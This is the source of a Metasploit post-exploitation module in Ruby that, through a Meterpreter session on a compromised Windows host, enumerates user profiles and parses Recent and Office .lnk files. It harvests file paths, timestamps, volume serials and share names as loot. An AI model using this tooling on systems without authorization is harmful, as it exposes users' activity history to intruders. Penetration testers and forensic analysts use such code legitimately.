21f6127e29
Change all Platform 'windows' to 'win', as it internally is an alias anyway and only causes unnecessary confusion to have two platform names that mean the same.
361 lines
11 KiB
Ruby
361 lines
11 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# ## This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'rex'
|
|
require 'msf/core/post/common'
|
|
require 'msf/core/post/windows/priv'
|
|
require 'msf/core/post/windows/accounts'
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
include Msf::Post::Windows::Priv
|
|
include Msf::Post::Common
|
|
include Msf::Post::Windows::Accounts
|
|
|
|
def initialize(info={})
|
|
super( update_info( info,
|
|
'Name' => 'Windows Gather Dump Recent Files lnk Info',
|
|
'Description' => %q{
|
|
The dumplinks module is a modified port of Harlan Carvey's lslnk.pl Perl script.
|
|
This module will parse .lnk files from a user's Recent Documents folder
|
|
and Microsoft Office's Recent Documents folder, if present.
|
|
Windows creates these link files automatically for many common file types.
|
|
The .lnk files contain time stamps, file locations, including share
|
|
names, volume serial numbers, and more. },
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [ 'davehull <dph_msf[at]trustedsignal.com>'],
|
|
'Version' => '$Revision$',
|
|
'Platform' => [ 'win' ],
|
|
'SessionTypes' => [ 'meterpreter' ]
|
|
))
|
|
end
|
|
|
|
# Run Method for when run command is issued
|
|
def run
|
|
print_status("Running module against #{sysinfo['Computer']}")
|
|
enum_users(sysinfo['OS']).each do |user|
|
|
if user['userpath']
|
|
print_status "Extracting lnk files for user #{user['username']} at #{user['userpath']}..."
|
|
extract_lnk_info(user['userpath'])
|
|
else
|
|
print_status "No Recent directory found for user #{user['username']}. Nothing to do."
|
|
end
|
|
if user['useroffcpath']
|
|
print_status "Extracting lnk files for user #{user['username']} at #{user['useroffcpath']}..."
|
|
extract_lnk_info(user['useroffcpath'])
|
|
else
|
|
print_status "No Recent Office files found for user #{user['username']}. Nothing to do."
|
|
end
|
|
end
|
|
end
|
|
|
|
def enum_users(os)
|
|
users = []
|
|
userinfo = {}
|
|
user = session.sys.config.getuid
|
|
userpath = nil
|
|
useroffcpath = nil
|
|
sysdrv = session.fs.file.expand_path("%SystemDrive%")
|
|
if os =~ /Windows 7|Vista|2008/
|
|
userpath = sysdrv + "\\Users\\"
|
|
lnkpath = "\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\"
|
|
officelnkpath = "\\AppData\\Roaming\\Microsoft\\Office\\Recent\\"
|
|
else
|
|
userpath = sysdrv + "\\Documents and Settings\\"
|
|
lnkpath = "\\Recent\\"
|
|
officelnkpath = "\\Application Data\\Microsoft\\Office\\Recent\\"
|
|
end
|
|
if is_system?
|
|
print_status("Running as SYSTEM extracting user list...")
|
|
session.fs.dir.foreach(userpath) do |u|
|
|
next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini)$/
|
|
userinfo['username'] = u
|
|
userinfo['userpath'] = userpath + u + lnkpath
|
|
userinfo['useroffcpath'] = userpath + u + officelnkpath
|
|
userinfo['userpath'] = dir_entry_exists(userinfo['userpath'])
|
|
userinfo['useroffcpath'] = dir_entry_exists(userinfo['useroffcpath'])
|
|
users << userinfo
|
|
userinfo = {}
|
|
end
|
|
else
|
|
uservar = session.fs.file.expand_path("%USERNAME%")
|
|
userinfo['username'] = uservar
|
|
userinfo['userpath'] = userpath + uservar + lnkpath
|
|
userinfo['useroffcpath'] = userpath + uservar + officelnkpath
|
|
userinfo['userpath'] = dir_entry_exists(userinfo['userpath'])
|
|
userinfo['useroffcpath'] = dir_entry_exists(userinfo['useroffcpath'])
|
|
users << userinfo
|
|
end
|
|
return users
|
|
end
|
|
|
|
# This is a hack because Meterpreter doesn't support exists?(file)
|
|
def dir_entry_exists(path)
|
|
files = session.fs.dir.entries(path)
|
|
rescue
|
|
return nil
|
|
else
|
|
return path
|
|
end
|
|
|
|
def extract_lnk_info(path)
|
|
session.fs.dir.foreach(path) do |file_name|
|
|
if file_name =~ /\.lnk$/ # We have a .lnk file
|
|
record = nil
|
|
offset = 0 # ToDo: Look at moving this to smaller scope
|
|
lnk_file = session.fs.file.new(path + file_name, "rb")
|
|
record = lnk_file.sysread(0x04)
|
|
if record.unpack('V')[0] == 76 # We have a .lnk file signature
|
|
file_stat = session.fs.filestat.new(path + file_name)
|
|
print_status "Processing: #{path + file_name}."
|
|
@data_out = ""
|
|
|
|
record = lnk_file.sysread(0x48)
|
|
hdr = get_headers(record)
|
|
|
|
@data_out += get_lnk_file_MAC(file_stat, path, file_name)
|
|
@data_out += "Contents of #{path + file_name}:\n"
|
|
@data_out += get_flags(hdr)
|
|
@data_out += get_attrs(hdr)
|
|
@data_out += get_lnk_MAC(hdr)
|
|
@data_out += get_showwnd(hdr)
|
|
@data_out += get_lnk_MAC(hdr)
|
|
|
|
# advance the file & offset
|
|
offset += 0x4c
|
|
|
|
if shell_item_id_list(hdr)
|
|
lnk_file.sysseek(offset, ::IO::SEEK_SET)
|
|
record = lnk_file.sysread(2)
|
|
offset += record.unpack('v')[0] + 2
|
|
end
|
|
# Get File Location Info
|
|
if (hdr["flags"] & 0x02) > 0
|
|
lnk_file.sysseek(offset, ::IO::SEEK_SET)
|
|
record = lnk_file.sysread(4)
|
|
tmp = record.unpack('V')[0]
|
|
if tmp > 0
|
|
lnk_file.sysseek(offset, ::IO::SEEK_SET)
|
|
record = lnk_file.sysread(0x1c)
|
|
loc = get_file_location(record)
|
|
if (loc['flags'] & 0x01) > 0
|
|
|
|
@data_out += "\tShortcut file is on a local volume.\n"
|
|
|
|
lnk_file.sysseek(offset + loc['vol_ofs'], ::IO::SEEK_SET)
|
|
record = lnk_file.sysread(0x10)
|
|
lvt = get_local_vol_tbl(record)
|
|
lvt['name'] = lnk_file.sysread(lvt['len'] - 0x10)
|
|
|
|
@data_out += "\t\tVolume Name = #{lvt['name']}\n" +
|
|
"\t\tVolume Type = #{get_vol_type(lvt['type'])}\n" +
|
|
"\t\tVolume SN = 0x%X" % lvt['vol_sn'] + "\n"
|
|
end
|
|
|
|
if (loc['flags'] & 0x02) > 0
|
|
|
|
@data_out += "\tFile is on a network share.\n"
|
|
|
|
lnk_file.sysseek(offset + loc['network_ofs'], ::IO::SEEK_SET)
|
|
record = lnk_file.sysread(0x14)
|
|
nvt = get_net_vol_tbl(record)
|
|
nvt['name'] = lnk_file.sysread(nvt['len'] - 0x14)
|
|
|
|
@data_out += "\tNetwork Share name = #{nvt['name']}\n"
|
|
end
|
|
|
|
if loc['base_ofs'] > 0
|
|
@data_out += get_target_path(loc['base_ofs'] + offset, lnk_file)
|
|
elsif loc['path_ofs'] > 0
|
|
@data_out += get_target_path(loc['path_ofs'] + offset, lnk_file)
|
|
end
|
|
end
|
|
end
|
|
end
|
|
lnk_file.close
|
|
logfile = store_loot("host.windows.lnkfileinfo", "text/plain", session,@data_out , "#{sysinfo['Computer']}_#{file_name}.txt", "User lnk file info")
|
|
end
|
|
end
|
|
end
|
|
|
|
# Not only is this code slow, it seems
|
|
# buggy. I'm studying the recently released
|
|
# MS Specs for a better way.
|
|
def get_target_path(path_ofs, lnk_file)
|
|
name = []
|
|
lnk_file.sysseek(path_ofs, ::IO::SEEK_SET)
|
|
record = lnk_file.sysread(2)
|
|
while (record.unpack('v')[0] != 0)
|
|
name.push(record)
|
|
record = lnk_file.sysread(2)
|
|
end
|
|
return "\tTarget path = #{name.join}\n"
|
|
end
|
|
|
|
def shell_item_id_list(hdr)
|
|
# Check for Shell Item ID List
|
|
if (hdr["flags"] & 0x01) > 0
|
|
return true
|
|
else
|
|
return nil
|
|
end
|
|
end
|
|
|
|
def get_lnk_file_MAC(file_stat, path, file_name)
|
|
data_out = "#{path + file_name}:\n"
|
|
data_out += "\tAccess Time = #{file_stat.atime}\n"
|
|
data_out += "\tCreation Date = #{file_stat.ctime}\n"
|
|
data_out += "\tModification Time = #{file_stat.mtime}\n"
|
|
return data_out
|
|
end
|
|
|
|
def get_vol_type(type)
|
|
vol_type = { 0 => "Unknown",
|
|
1 => "No root directory",
|
|
2 => "Removable",
|
|
3 => "Fixed",
|
|
4 => "Remote",
|
|
5 => "CD-ROM",
|
|
6 => "RAM Drive"}
|
|
return vol_type[type]
|
|
end
|
|
|
|
def get_showwnd(hdr)
|
|
showwnd = { 0 => "SW_HIDE",
|
|
1 => "SW_NORMAL",
|
|
2 => "SW_SHOWMINIMIZED",
|
|
3 => "SW_SHOWMAXIMIZED",
|
|
4 => "SW_SHOWNOACTIVE",
|
|
5 => "SW_SHOW",
|
|
6 => "SW_MINIMIZE",
|
|
7 => "SW_SHOWMINNOACTIVE",
|
|
8 => "SW_SHOWNA",
|
|
9 => "SW_RESTORE",
|
|
10 => "SHOWDEFAULT"}
|
|
data_out = "\tShowWnd value(s):\n"
|
|
showwnd.each do |key, value|
|
|
if (hdr["showwnd"] & key) > 0
|
|
data_out += "\t\t#{showwnd[key]}.\n"
|
|
end
|
|
end
|
|
return data_out
|
|
end
|
|
|
|
def get_lnk_MAC(hdr)
|
|
data_out = "\tTarget file's MAC Times stored in lnk file:\n"
|
|
data_out += "\t\tCreation Time = #{Time.at(hdr["ctime"])}. (UTC)\n"
|
|
data_out += "\t\tModification Time = #{Time.at(hdr["mtime"])}. (UTC)\n"
|
|
data_out += "\t\tAccess Time = #{Time.at(hdr["atime"])}. (UTC)\n"
|
|
return data_out
|
|
end
|
|
|
|
def get_attrs(hdr)
|
|
fileattr = {0x01 => "Target is read only",
|
|
0x02 => "Target is hidden",
|
|
0x04 => "Target is a system file",
|
|
0x08 => "Target is a volume label",
|
|
0x10 => "Target is a directory",
|
|
0x20 => "Target was modified since last backup",
|
|
0x40 => "Target is encrypted",
|
|
0x80 => "Target is normal",
|
|
0x100 => "Target is temporary",
|
|
0x200 => "Target is a sparse file",
|
|
0x400 => "Target has a reparse point",
|
|
0x800 => "Target is compressed",
|
|
0x1000 => "Target is offline"}
|
|
data_out = "\tAttributes:\n"
|
|
fileattr.each do |key, attr|
|
|
if (hdr["attr"] & key) > 0
|
|
data_out += "\t\t#{fileattr[key]}.\n"
|
|
end
|
|
end
|
|
return data_out
|
|
end
|
|
|
|
# Function for writing results of other functions to a file
|
|
def filewrt(file2wrt, data2wrt)
|
|
output = ::File.open(file2wrt, "ab")
|
|
if data2wrt
|
|
data2wrt.each_line do |d|
|
|
output.puts(d)
|
|
end
|
|
end
|
|
output.close
|
|
end
|
|
|
|
def get_flags(hdr)
|
|
flags = {0x01 => "Shell Item ID List exists",
|
|
0x02 => "Shortcut points to a file or directory",
|
|
0x04 => "The shortcut has a descriptive string",
|
|
0x08 => "The shortcut has a relative path string",
|
|
0x10 => "The shortcut has working directory",
|
|
0x20 => "The shortcut has command line arguments",
|
|
0x40 => "The shortcut has a custom icon"}
|
|
data_out = "\tFlags:\n"
|
|
flags.each do |key, flag|
|
|
if (hdr["flags"] & key) > 0
|
|
data_out += "\t\t#{flags[key]}.\n"
|
|
end
|
|
end
|
|
return data_out
|
|
end
|
|
|
|
def get_headers(record)
|
|
hd = record.unpack('x16V12x8')
|
|
hdr = Hash.new()
|
|
hdr["flags"] = hd[0]
|
|
hdr["attr"] = hd[1]
|
|
hdr["ctime"] = get_time(hd[2], hd[3])
|
|
hdr["mtime"] = get_time(hd[4], hd[5])
|
|
hdr["atime"] = get_time(hd[6], hd[7])
|
|
hdr["length"] = hd[8]
|
|
hdr["icon_num"] = hd[9]
|
|
hdr["showwnd"] = hd[10]
|
|
hdr["hotkey"] = hd[11]
|
|
return hdr
|
|
end
|
|
|
|
def get_net_vol_tbl(file_net_rec)
|
|
nv = Hash.new()
|
|
(nv['len'], nv['ofs']) = file_net_rec.unpack("Vx4Vx8")
|
|
return nv
|
|
end
|
|
|
|
def get_local_vol_tbl(lvt_rec)
|
|
lv = Hash.new()
|
|
(lv['len'], lv['type'], lv['vol_sn'], lv['ofs']) = lvt_rec.unpack('V4')
|
|
return lv
|
|
end
|
|
|
|
def get_file_location(file_loc_rec)
|
|
location = Hash.new()
|
|
(location["len"], location["ptr"], location["flags"],
|
|
location["vol_ofs"], location["base_ofs"], location["network_ofs"],
|
|
location["path_ofs"]) = file_loc_rec.unpack('V7')
|
|
return location
|
|
end
|
|
|
|
def get_time(lo_byte, hi_byte)
|
|
if (lo_byte == 0 && hi_byte == 0)
|
|
return 0
|
|
else
|
|
lo_byte -= 0xd53e8000
|
|
hi_byte -= 0x019db1de
|
|
time = (hi_byte * 429.4967296 + lo_byte/1e7).to_i
|
|
if time < 0
|
|
return 0
|
|
end
|
|
end
|
|
return time
|
|
end
|
|
end
|